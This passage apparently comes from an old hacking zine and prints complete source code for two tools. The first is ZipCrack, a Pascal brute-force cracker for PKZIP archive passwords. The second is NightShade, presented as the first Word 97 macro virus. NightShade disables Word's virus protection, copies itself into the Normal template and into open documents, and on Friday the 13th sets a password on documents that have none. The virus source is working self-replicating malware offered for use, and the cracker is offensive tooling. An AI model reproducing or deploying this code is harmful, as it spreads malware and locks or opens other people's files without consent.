{ 'last password' and you will have to restart from scratch.            }
{                                                                       }
{-----------------------------------------------------------------------}

uses
      DOS,
      CRT;

const
      SaveFN  = 'ZIPCRACK.$$$';             { Save file name                }
      WorkDir = '\ZIPCRACK';                { Work Subdirectory             }
      MAXPW   = 256;                        { Max Password Length           }
      MAXBUF  = 32768;                      { Max buffer length             }
      K0      = 305419896;                  { Zipfile Encryption Initializer}
      K1      = 591751049;                  { Zipfile Encryption Initializer}
      K2      = 878082192;                  { Zipfile Encryption Initializer}
      ZIPHDRSIG         = $04034B50;                  { Zip Local Header Signature    }
      ZDHDRSIG= $02014B50;                  { Zip Directory Header Signature}
      ZDENDSIG= $06054B50;                  { Zip Directory End Signature   }

const
      CrcTab : array [0..255] of LongInt =
            (
                  $00000000, $77073096, $EE0E612C, $990951BA,
                  $076DC419, $706AF48F, $E963A535, $9E6495A3,
                  $0EDB8832, $79DCB8A4, $E0D5E91E, $97D2D988,
                  $09B64C2B, $7EB17CBD, $E7B82D07, $90BF1D91,
                  $1DB71064, $6AB020F2, $F3B97148, $84BE41DE,
                  $1ADAD47D, $6DDDE4EB, $F4D4B551, $83D385C7,
                  $136C9856, $646BA8C0, $FD62F97A, $8A65C9EC,
                  $14015C4F, $63066CD9, $FA0F3D63, $8D080DF5,
                  $3B6E20C8, $4C69105E, $D56041E4, $A2677172,
                  $3C03E4D1, $4B04D447, $D20D85FD, $A50AB56B,
                  $35B5A8FA, $42B2986C, $DBBBC9D6, $ACBCF940,
                  $32D86CE3, $45DF5C75, $DCD60DCF, $ABD13D59,
                  $26D930AC, $51DE003A, $C8D75180, $BFD06116,
                  $21B4F4B5, $56B3C423, $CFBA9599, $B8BDA50F,
                  $2802B89E, $5F058808, $C60CD9B2, $B10BE924,
                  $2F6F7C87, $58684C11, $C1611DAB, $B6662D3D,
                  $76DC4190, $01DB7106, $98D220BC, $EFD5102A,
                  $71B18589, $06B6B51F, $9FBFE4A5, $E8B8D433,
                  $7807C9A2, $0F00F934, $9609A88E, $E10E9818,
                  $7F6A0DBB, $086D3D2D, $91646C97, $E6635C01,
                  $6B6B51F4, $1C6C6162, $856530D8, $F262004E,
                  $6C0695ED, $1B01A57B, $8208F4C1, $F50FC457,
                  $65B0D9C6, $12B7E950, $8BBEB8EA, $FCB9887C,
                  $62DD1DDF, $15DA2D49, $8CD37CF3, $FBD44C65,
                  $4DB26158, $3AB551CE, $A3BC0074, $D4BB30E2,
                  $4ADFA541, $3DD895D7, $A4D1C46D, $D3D6F4FB,
                  $4369E96A, $346ED9FC, $AD678846, $DA60B8D0,
                  $44042D73, $33031DE5, $AA0A4C5F, $DD0D7CC9,
                  $5005713C, $270241AA, $BE0B1010, $C90C2086,
                  $5768B525, $206F85B3, $B966D409, $CE61E49F,
                  $5EDEF90E, $29D9C998, $B0D09822, $C7D7A8B4,
                  $59B33D17, $2EB40D81, $B7BD5C3B, $C0BA6CAD,
                  $EDB88320, $9ABFB3B6, $03B6E20C, $74B1D29A,
                  $EAD54739, $9DD277AF, $04DB2615, $73DC1683,
                  $E3630B12, $94643B84, $0D6D6A3E, $7A6A5AA8,
                  $E40ECF0B, $9309FF9D, $0A00AE27, $7D079EB1,
                  $F00F9344, $8708A3D2, $1E01F268, $6906C2FE,
                  $F762575D, $806567CB, $196C3671, $6E6B06E7,
                  $FED41B76, $89D32BE0, $10DA7A5A, $67DD4ACC,
                  $F9B9DF6F, $8EBEEFF9, $17B7BE43, $60B08ED5,
                  $D6D6A3E8, $A1D1937E, $38D8C2C4, $4FDFF252,
                  $D1BB67F1, $A6BC5767, $3FB506DD, $48B2364B,
                  $D80D2BDA, $AF0A1B4C, $36034AF6, $41047A60,
                  $DF60EFC3, $A867DF55, $316E8EEF, $4669BE79,
                  $CB61B38C, $BC66831A, $256FD2A0, $5268E236,
                  $CC0C7795, $BB0B4703, $220216B9, $5505262F,
                  $C5BA3BBE, $B2BD0B28, $2BB45A92, $5CB36A04,
                  $C2D7FFA7, $B5D0CF31, $2CD99E8B, $5BDEAE1D,
                  $9B64C2B0, $EC63F226, $756AA39C, $026D930A,
                  $9C0906A9, $EB0E363F, $72076785, $05005713,
                  $95BF4A82, $E2B87A14, $7BB12BAE, $0CB61B38,
                  $92D28E9B, $E5D5BE0D, $7CDCEFB7, $0BDBDF21,
                  $86D3D2D4, $F1D4E242, $68DDB3F8, $1FDA836E,
                  $81BE16CD, $F6B9265B, $6FB077E1, $18B74777,
                  $88085AE6, $FF0F6A70, $66063BCA, $11010B5C,
                  $8F659EFF, $F862AE69, $616BFFD3, $166CCF45,
                  $A00AE278, $D70DD2EE, $4E048354, $3903B3C2,
                  $A7672661, $D06016F7, $4969474D, $3E6E77DB,
                  $AED16A4A, $D9D65ADC, $40DF0B66, $37D83BF0,
                  $A9BCAE53, $DEBB9EC5, $47B2CF7F, $30B5FFE9,
                  $BDBDF21C, $CABAC28A, $53B39330, $24B4A3A6,
                  $BAD03605, $CDD70693, $54DE5729, $23D967BF,
                  $B3667A2E, $C4614AB8, $5D681B02, $2A6F2B94,
                  $B40BBE37, $C30C8EA1, $5A05DF1B, $2D02EF8D
            );

type
      CopyBufT       = array [1..MAXBUF] of char;     { Copy Buffer                  }
      CopyBufTP      = ^COpyBufT;                     { Ptr to Copy Buffer           }
      Buf12T         = array [0..11] of Char;         { 12-byte buffer               }
      SetOfCharT     = Set of Char;                   { Set of characters            }
      CharArrayT     = Array [0..255] of Char;        { List of characters           }
      CharSetT       = record                         { Character Set for Zip PW     }
                           n : 0..256;                { ..# of chars in the set      }
                           c : CharArrayT;            { ..List of PW chars           }
                           s : SetOfCharT;            { ..PW chars in set format     }
                       end;
      ZipHdrT        = record                         { Zip File Header              }
                           Sig            : LongInt;  { ..Signature                  }
                              VerReqd     : Word;     { ..Version reqd to unzip      }
                              BitFlag     : Word;     { ..Bit Flag                   }
                              Method      : Word;     { ..Compress Method            }
                              LModTime    : Word;     { ..Last Mod Time              }
                              LModDate    : Word;     { ..Last Mod Date              }
                              CRC32       : LongInt;  { ..File CRC                   }
                              CmpSize     : LongInt;  { ..Compressed Size            }
                              UncmpSz     : LongInt;  { ..Uncompressed Size          }
                              FNLen       : Word;     { ..File Name Length           }
                              EFLen       : Word;     { ..Extra Field Length         }
                       end;
      ZDHdrT         = Record                         { Directory File Header        }
                              Sig         : LongInt;  { ..Signature                  }
                              Version     : Word;     { ..Version made by            }
                              VerReqd     : Word;     { ..Version reqd to extract    }
                              BitFlag     : Word;     { ..Bit Flag                   }
                              Method      : Word;     { ..Compression Method         }
                              LModTime    : Word;     { ..Last Mod time              }
                              LModDate    : Word;     { ..Last Mod Date              }
                              CRC32       : LongInt;  { ..CRC or 0                   }
                              CmpSize     : LongInt;  { ..Compressed Size            }
                              UncmpSz     : LongInt;  { ..Uncompressed Size          }
                              FNLen       : Word;     { ..File Name Length           }
                              EFLen       : Word;     { ..Extra Field Length         }
                              FCLen       : Word;     { ..File Comment Length        }
                              DiskNo      : Word;     { ..Starting Disk Number       }
                              IFAttr      : Word;     { ..Internal File Attributes   }
                              EFAttr      : LongInt;  { ..External File Attributes   }
                              LHOff       : LongInt;  { ..Offset of local header     }
                       end;
      ZDEndT         = Record                         { Directory End Record            }
                              Sig         : LongInt;  { ..Signature                     }
                              DiskNo      : Word;     { ..Number of this disk           }
                              ZDDisk      : Word;     { ..Disk w/ start of dir          }
                              ZDETD       : Word;     { ..Dir ents this disk            }
                              ZDEnts      : Word;     { ..Total dir ents                }
                              ZDSize      : LongInt;  { ..Dir size                      }
                              ZDStart     : LongInt;  { ..Offset to start of Dir        }
                              CmtLen      : Word;     { ..Zip Comment Length            }
                       end;

var   PkunzipPath      : String;                      { Path & File name for PKUNZIP    }
      ZipfilePath      : String;                      { Path & File name for Zipfile    }
      ZipfileName      : String;                      { File name for Zipfile           }
      RamPath          : String;                      { Path on RAM Drive               }
      MemberName       : String;                      { Zipfile Member Name             }
      MinPWLen         : Integer;                     { Minimum password length         }
      MaxPWLen         : Integer;                     { Maximum password length         }
      PWCharSet        : CharSetT;                    { Password character set          }
      PWSaveInt        : LongInt;                     { Password Save Interval          }
      UseRamDisk       : Boolean;                     { Use RAM Disk?                   }
      RamDrive         : Char;                        { Ram Disk Drive Letter           }
      NextPW           : array [1..MAXPW] of Byte;    { Next password to try            }
      rc               : Integer;
      PWLen            : Integer;
      PW               : String;
      Key0             : LongInt;                     { Zip Encryption Key 0            }
      Key1             : LongInt;                     { Zip Encryption Key 1            }
      Key2             : LongInt;                     { Zip Encryption Key 2            }
      ZipBuf           : Buf12T;                      { Zip Encryption Buffer           }
      ZipFile          : File;
      ZDEnd            : ZDEndT;                      { Zip Directory End Record        }
      ZDHdr            : ZDHdrT;                      { Zip Directory Header Record     }
      ZipHdr           : ZipHdrT;                     { Zip Local Header Record         }
      Ok               : Boolean;


function crc32(crc : LongInt; c : Char) : LongInt;
begin
      crc32 := ((crc shr 8) and $00FFFFFF) xor CrcTab[(Ord(c) xor (crc and $00FF))  and $00FF];
end;

procedure ZipPWUpdateKeys(C : Char);
begin
      Key0 := crc32(Key0, C);
      Key1 := Key1 + (Key0 and $000000FF);
      Key1 := Key1 * 134775813 + 1;
      Key2 := crc32(Key2, Chr((Key1 shr 24) and $000000FF));
end;

function ZipPWDecryptByte : Char;
var Temp : Word;
begin
      Temp := (Key2 or 2) and $0000FFFF;
      ZipPWDecryptByte := Chr(((Temp * (Temp xor 1)) shr 8) and $00FF);
end;

procedure ZipPWInitKeys(PW : String);
var n : Integer;
begin
      Key0 := K0;
      Key1 := K1;
      Key2 := K2;
      for n := 1 to Length(PW) do ZipPWUpdateKeys(PW[n]);
end;

procedure ZipPWUpdateBuf(var Buf : Buf12T);
var   i : Integer;
      c : Char;
begin
      for i := 0 to 11 do begin
            c := Chr(Ord(Buf[i]) xor Ord(ZipPWDecryptByte));
            ZipPWUpdateKeys(c);
            Buf[i] := c;
      end;
end;

function ZipPWCheck(PW : String; Buf : Buf12T; crc : LongInt) : Boolean;
begin
      ZipPWInitKeys(PW);
      ZipPWUpdateBuf(Buf);
      ZipPWCheck := Ord(Buf[11]) = ((crc shr 24) and $000000FF);
end;

function ZipOpen(var F : File; Name : String; var ZDEnd : ZDEndT) : Boolean;
var   FMSave       : Word;
      SeekPos      : LongInt;
begin
      if Pos('.', Name) = 0 then Name := Name + '.ZIP';
      Assign(F, Name);
      FMSave := FileMode;
      FileMode := 0;
      {$I-} Reset(F, 1); {$I+}
      FileMode := FMSave;
      if IOResult <> 0 then begin
             WriteLn(Name, ': Cannot open file');
            ZipOpen := FALSE;
            Exit;
      end;
      SeekPos := FileSize(F) - sizeof(ZDEnd) + 1;
      while TRUE do begin
            if SeekPos <= 0 then begin
                  WriteLn(Name, ': Cannot find ZIP Directory');
                  Close(F);
                  ZipOpen := FALSE;
                  Exit;
            end;
            Dec(SeekPos);
            Seek(F, SeekPos);
            BlockRead(F, ZDEnd, sizeof(ZDEnd));
            if ZDEnd.Sig = ZDENDSIG then begin
                  ZipOpen := TRUE;
                  Exit;
            end;
      end;
end;

function ZipFindZDHdr(var F : File; Name : String; var ZDEnd : ZDEndT; var ZDHdr : ZDHdrT) : Boolean;
var   n            : Word;
      SeekPos      : LongInt;
      Buf          : String;
      FNLen        : Integer;
      i            : Integer;
begin
      FNLen := Length(Name);
      Buf[0] := Chr(FNLen);
      for i := 1 to FNLen do Name[i] := UpCase(Name[i]);
      SeekPos := ZDEnd.ZDStart;
      for n := 1 to ZDEnd.ZDEnts do begin
            Seek(F, SeekPos);
            BlockRead(F, ZDHdr, sizeof(ZDHdr));
            if ZDHdr.FNLen = FNLen then begin
                  BlockRead(F, Buf[1], FNLen);
                  for i := 1 to FNLen do Buf[i] := UpCase(Buf[i]);
                  if Name = Buf then begin
                        ZipFindZDHdr := TRUE;
                        Exit;
                  end;
            end;
            SeekPos := SeekPos + sizeof(ZDHdr) + ZDHdr.FNLen + ZDHdr.EFLen + ZDHdr.FCLen;
      end;
      ZipFindZDHdr := FALSE;
end;

function ZipFindFile(var F : File; Name : String; var ZDEnd : ZDEndT; var ZDHdr : ZDHdrT; var ZipHdr : ZipHdrT) : Boolean;
var Ok : Boolean;
begin
      Ok := ZipFindZDHdr(F, Name, ZDEnd, ZDHdr);
      if not Ok then begin
            ZipFindFile := FALSE;
            Exit;
      end;
      Seek(F, ZDHdr.LHOff);
      BlockRead(F, ZipHdr, sizeof(ZipHdr));
      Seek(F, ZDHdr.LHOff + sizeof(ZipHdr) + ZipHdr.FNLen + ZipHdr.EFLen);
      ZipFindFile := TRUE;
end;

procedure AddCharToCharSet(var SC : CharSetT; c : Char);
begin
      if SC.n = 0 then SC.s := [];
      if not (c in SC.s) then begin
            SC.c[SC.n] := c;
            SC.s := SC.s + [c];
            inc(SC.n);
      end;
end;

procedure AddStringToCharSet(var SC : CharSetT; S : String);
var n : Integer;
begin
      for n := 1 to length(S) do AddCharToCharSet(SC, S[n]);
end;

procedure AddSetToCharSet(var SC : CharSetT; S : SetOfCharT);
var n : Integer;
begin
      for n := 0 to 255 do begin
            if Chr(n) in S then AddCharToCharSet(SC, Chr(n));
      end;
end;

function PromptChar(p : String; r : String) : Char;
var   K       : Char;
      S       : String;
      Done : Boolean;
begin
      Done := FALSE;
      while not Done do begin
            Write(p, '? ');
            ReadLn(S);
            if length(s) = 0 then K := #$00
            else K := S[1];
            if Pos(K, r) <> 0 then Done := TRUE
            else WriteLn('Enter one of: ', r);
      end;
      PromptChar := K;
end;

function PromptString(p : String) : String;
var S : String;
begin
      Write(p, '? ');
      ReadLn(S);
      PromptString := S;
end;

function PromptNumber(p : String; Min, Max : LongInt) : LongInt;
var   S       : String;
      Code    : Integer;
      R       : LongInt;
      Done    : Boolean;
begin
      Done := FALSE;
      while not Done do begin
            S := PromptString(p);
            val(S, R, Code);
            if (Code <> 0) or (R < Min) or (R > Max) then
                  WriteLn('Enter an integer from ', Min, ' to ', Max)
            else Done := TRUE;
      end;
      PromptNumber := R;
end;

procedure PromptCharSet(p : String; var SC : CharSetT);
var K       : Char;
begin
      SC.n := 0;
      WriteLn(p, ':');
      K := PromptChar('  Lower case letters [a..z]', 'YyNn');
      if UpCase(K) = 'Y' then AddSetToCharSet(SC, ['a'..'z']);
      K := PromptChar('  Upper case letters [A..Z]', 'YyNn');
      if UpCase(K) = 'Y' then AddSetToCharSet(SC, ['A'..'Z']);
      K := PromptChar('  Digits [0..9]', 'YyNn');
      if UpCase(K) = 'Y' then AddSetToCharSet(SC, ['0'..'9']);
      K := PromptChar('  Blank', 'YyNn');
      if UpCase(K) = 'Y' then AddStringToCharSet(SC, ' ');
      K := PromptChar('  Punctuation and special characters', 'YyNn');
      if UpCase(K) = 'Y' then AddStringToCharSet(SC, '`~!@#$%^&*()_-+=[{]}\|;:",<.>/?''');
end;

function PromptFilename(p : String; ext : String; path : String) : String;
var   fn       : String;
      fn2      : String;
      Done     : Boolean;
      i        : Integer;
begin
      Done := FALSE;
      while not DONE do begin
            fn := PromptString(p);
            if pos('.', fn) = 0 then fn := fn + '.' + ext;
            for i:=1 to length(fn) do fn[i] := UpCase(fn[i]);
            fn2 := FSearch(fn, path);
            if fn2 = '' then WriteLn('Unable to locate ', fn)
            else Done := TRUE;
      end;
      fn := FExpand(fn2);
      for i:=1 to length(fn) do fn[i] := UpCase(fn[i]);
      PromptFilename := fn;
end;

function GetRestartData : Boolean;
var   Key        : Char;
      SaveF      : File;
begin
      FillChar(NextPW, MAXPW, 0);
      MinPWLen := 0;
      MaxPWLen := 0;
      PWCharSet.n := 0;
      PWLen := 0;
      GetRestartData := FALSE;
      if (FSearch(SaveFN, '') <> '') then begin
            Key := PromptChar('Restart from last password', 'YyNn');
            if upcase(Key) = 'Y' then begin
                  Assign(SaveF, SaveFN);
                  FileMode := 0;
                  Reset(SaveF, 1);
                  FileMode := 2;
                  BlockRead(SaveF, MinPWLen,  sizeof(MinPWLen));
                  BlockRead(SaveF, MaxPWLen,  sizeof(MaxPWLen));
                  BlockRead(SaveF, PWCharSet, sizeof(PWCharSet));
                  BlockRead(SaveF, PWLen,     sizeof(PWLen));
                  BlockRead(SaveF, NextPW,    sizeof(NextPW));
                  Close(SaveF);
                  GetRestartData := TRUE;
            end;
      end;
end;

function ExecPkunzip(cmdline : String) : Integer;
begin
      SwapVectors;
      Exec(PkunzipPath, cmdline);
      SwapVectors;
      if DosError <> 0 then begin
            WriteLn('DOS Error ', DosError, ' executing ', PkunzipPath);
            Halt(3);
      end;
      ExecPkunzip := DosExitCode;
end;

procedure GetInput;
var Key       : Char;
      D       : DirStr;
      N       : NameStr;
      E       : ExtStr;
      Done    : Boolean;
      rc      : Integer;
begin
      if not GetRestartData then begin
            MinPWLen := PromptNumber('Minimum password length', 1, MAXPW);
            if MinPWLen = MAXPW then MaxPWLen := MAXPW
            else MaxPWLen := PromptNumber('Maximum password length', MinPWLen, MAXPW);
            PromptCharSet('Password character set', PWCharSet);
            if PWCharSet.n = 0 then begin
                  WriteLn('No characters in password character set!');
                  Halt(3);
            end;
      end;
      PWSaveInt := PromptNumber('Password save interval', 0, 1000000);
      Key := PromptChar('Use RAM Disk', 'YyNn');
      if UpCase(Key) <> 'Y' then UseRamDisk := FALSE
      else begin
            UseRamDisk := TRUE;
            Key := PromptChar('RAM Disk drive letter', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
            RamDrive := UpCase(Key);
            RamPath := RamDrive + ':' + WorkDir;
      end;

      PkunzipPath := FSearch('PKUNZIP.EXE', GetEnv('PATH'));
      if PkunzipPath <> '' then PkunzipPath := FExpand(PkunzipPath)
      else PkunzipPath := PromptFilename('PKUNZIP file name', 'EXE', GetEnv('PATH'));

      ZipfilePath := PromptFilename('Zip file name', 'ZIP', '');
      FSplit(ZipfilePath, D, N, E);
      ZipfileName := N + E;
      Done := FALSE;
      while not Done do begin
            MemberName := PromptString('File to crack');
            rc := ExecPkunzip('-# -v ' + ZipfilePath + ' ' + MemberName);
            if rc <> 0 then WriteLn('Unable to locate ', MemberName, ' in ', ZipfilePath)
            else Done := TRUE;
      end;
end;

function CopyFile(FromFile, ToFile : String) : Boolean;
var   pBuf     : CopyBufTP;
      FromF    : File;
      ToF      : File;
      Count    : Word;
      Written  : Word;
begin
      {$I-}
      Assign(FromF, FromFile);
      FileMode := 0;
      Reset(FromF, 1);
      FileMode := 2;
      if IOResult <> 0 then begin
            CopyFile := FALSE;
            Exit;
      end;
      Assign(ToF, ToFile);
      Rewrite(ToF, 1);
      if IOResult <> 0 then begin
            Close(FromF);
            CopyFile := FALSE;
            Exit;
      end;
      {$I+}
      New(pBuf);
      repeat
            BlockRead(FromF, pBuf^, MAXBUF, Count);
            BlockWrite(ToF, pBuf^, Count, Written);
            if Written <> Count then begin
                  Close(FromF);
                  Close(ToF);
                  CopyFile := FALSE;
                  Dispose(pBuf);
                  Exit;
            end;
      until Count = 0;
      Dispose(pBuf);
      Close(FromF);
      Close(ToF);
      CopyFile := TRUE;
end;

procedure SavePW;
var SaveF : File;
begin
      Assign(SaveF, SaveFN);
      Rewrite(SaveF, 1);
      BlockWrite(SaveF, MinPWLen,  sizeof(MinPWLen));
      BlockWrite(SaveF, MaxPWLen,  sizeof(MaxPWLen));
      BlockWrite(SaveF, PWCharSet, sizeof(PWCharSet));
      BlockWrite(SaveF, PWLen,     sizeof(PWLen));
      BlockWrite(SaveF, NextPW,    sizeof(NextPW));
      Close(SaveF);
end;

function IncPW : Boolean;
var n : Integer;
begin
      n := PWLen;
      while TRUE do begin
            if n = 0 then begin
                  IncPW := FALSE;
                  Exit;
            end;
            inc(NextPW[n]);
            if NextPW[n] < PWCharSet.n then break
            else NextPW[n] := 0;
            dec(n);
      end;
      IncPW := TRUE;
end;

procedure BuildPW(Escape : Boolean);
var   n : Integer;
      m : Integer;
      c : Char;
begin
      PW[0] := Chr(PWLen);
      m := 1;
      for n := 1 to PWLen do begin
            c := PWCharSet.c[NextPW[n]];
            if Escape and ((c = '"') or (c = '\')) then begin
                  PW[m] := '\';
                  inc(m);
                  inc(PW[0]);
            end;
            PW[m] := c;
            inc(m);
      end;
end;

function CheckAllPWs : Boolean;
var   NextSave       : LongInt;
      Ok             : Boolean;
begin

      NextSave := 1;

      while TRUE do begin

            if NextSave <> 0 then begin
                  if NextSave <> 1 then dec(NextSave)
                  else begin
                        SavePW;
                        NextSave := PWSaveInt;
                  end;
            end;

            BuildPW(FALSE);
            Ok := ZipPWCheck(PW, ZipBuf, ZDHdr.Crc32);

            if Ok then begin
                  BuildPW(TRUE);
                  rc := ExecPkunzip('-# -t -s"' + PW + '" ' + ZipfilePath + ' ' + MemberName);
                  if rc = 0 then begin
                        CheckAllPWs := TRUE;
                        Exit;
                  end;
            end;

            Ok := IncPW;
            if not Ok then begin
                  CheckAllPWs := FALSE;
                  Exit;
            end;
      end;
end;

begin

      WriteLn('ZipCrack v1.0 Copyright 1993 by Michael A. Quinlan');

      GetInput;

      if UseRamDisk then begin
            {$I-} MkDir(RamPath); {$I+}
            if IOResult <> 0 then
                  ;
            if not CopyFile(PkunzipPath, RamPath + '\PKUNZIP.EXE') then begin
                  WriteLn('Unable to copy ', PkunzipPath, ' to ', RamPath + '\PKUNZIP.EXE');
                  Exit;
            end
            else PkunzipPath := RamPath + '\PKUNZIP.EXE';
            if not CopyFile(ZipfilePath, RamPath + '\' + ZipFilename) then begin
                  WriteLn('Unable to copy ', ZipfilePath, ' to ', RamPath + '\' + ZipFilename);
                  Exit;
            end
            else ZipfilePath := RamPath + '\' + ZipFilename;
      end;

{ Validate that PKUNZIP, the Zipfile, and the member of the Zipfile are }
{ still accessible.                                                     }

      rc := ExecPkunzip('-# -v ' + ZipfilePath + ' ' + MemberName);
      if rc <> 0 then begin
            WriteLn('Unable to locate ', MemberName, ' in ', ZipfilePath);
            Halt(3);
      end;

      Ok := ZipOpen(ZipFile, ZipfilePath, ZDEnd);
      if not Ok then Halt(3);

      Ok := ZipFindFile(ZipFile, MemberName, ZDEnd, ZDHdr, ZIpHdr);
      if not Ok then Halt(3);

      BlockRead(ZipFile, ZipBuf, sizeof(ZipBuf));

      if PWLen = 0 then PWLen := MinPWLen;
      Writeln('Testing passwords...');
      for PWLen := PWLen to MaxPWLen do begin
            if CheckAllPWs then begin
                  Writeln('Password = "', PW, '"');
                  IncPW;
                  SavePW;
                  Halt(0);
            end;
      end;

      WriteLn('Password not found!!!');
      Halt(1);
end.

<CUT HERE>------<SHRED HERE>-----<SLICE HERE>-----<DICE HERE>

5. Full Word Basic source for NightShade - the world's first Word '97 macro virus.
~~ ~~~~ ~~~~ ~~~~~ ~~~~~~ ~~~ ~~~~~~~~~~ ~ ~~~ ~~~~~~~ ~~~~~ ~~~~ ~~~ ~~~~~ ~~~~~~

Attribute VB_Name = "NightShade"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Night Shade."
On Error GoTo NightShade

    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone

    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False

    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate

    DocumentInstalled = False
    GlobalInstalled = False

    For I = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(I).Name = "NightShade" Then
            DocumentInstalled = True
        End If
    Next

    For J = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(J).Name = "NightShade" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
    End If

    If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then

        Assistant.Visible = True

        With Assistant.NewBalloon
            .Icon = msoIconAlert
            .Text = "Word97.NightShade by Pyro [VBB]"
            .Heading = "Attention:"
            .Show
        End With

    End If

    If WeekDay(Now()) = 6 And Day(Now()) = 13 Then

        If ActiveDoc.HasPassword = False Then
            ActiveDoc.Password = "NightShade"
        End If

    End If

    Application.DisplayAlerts = wdAlertsAll

NightShade:
End Sub

<CUT HERE>------<SHRED HERE>-----<SLICE HERE>-----<DICE HERE>

Until next time, that's all folks! ;)
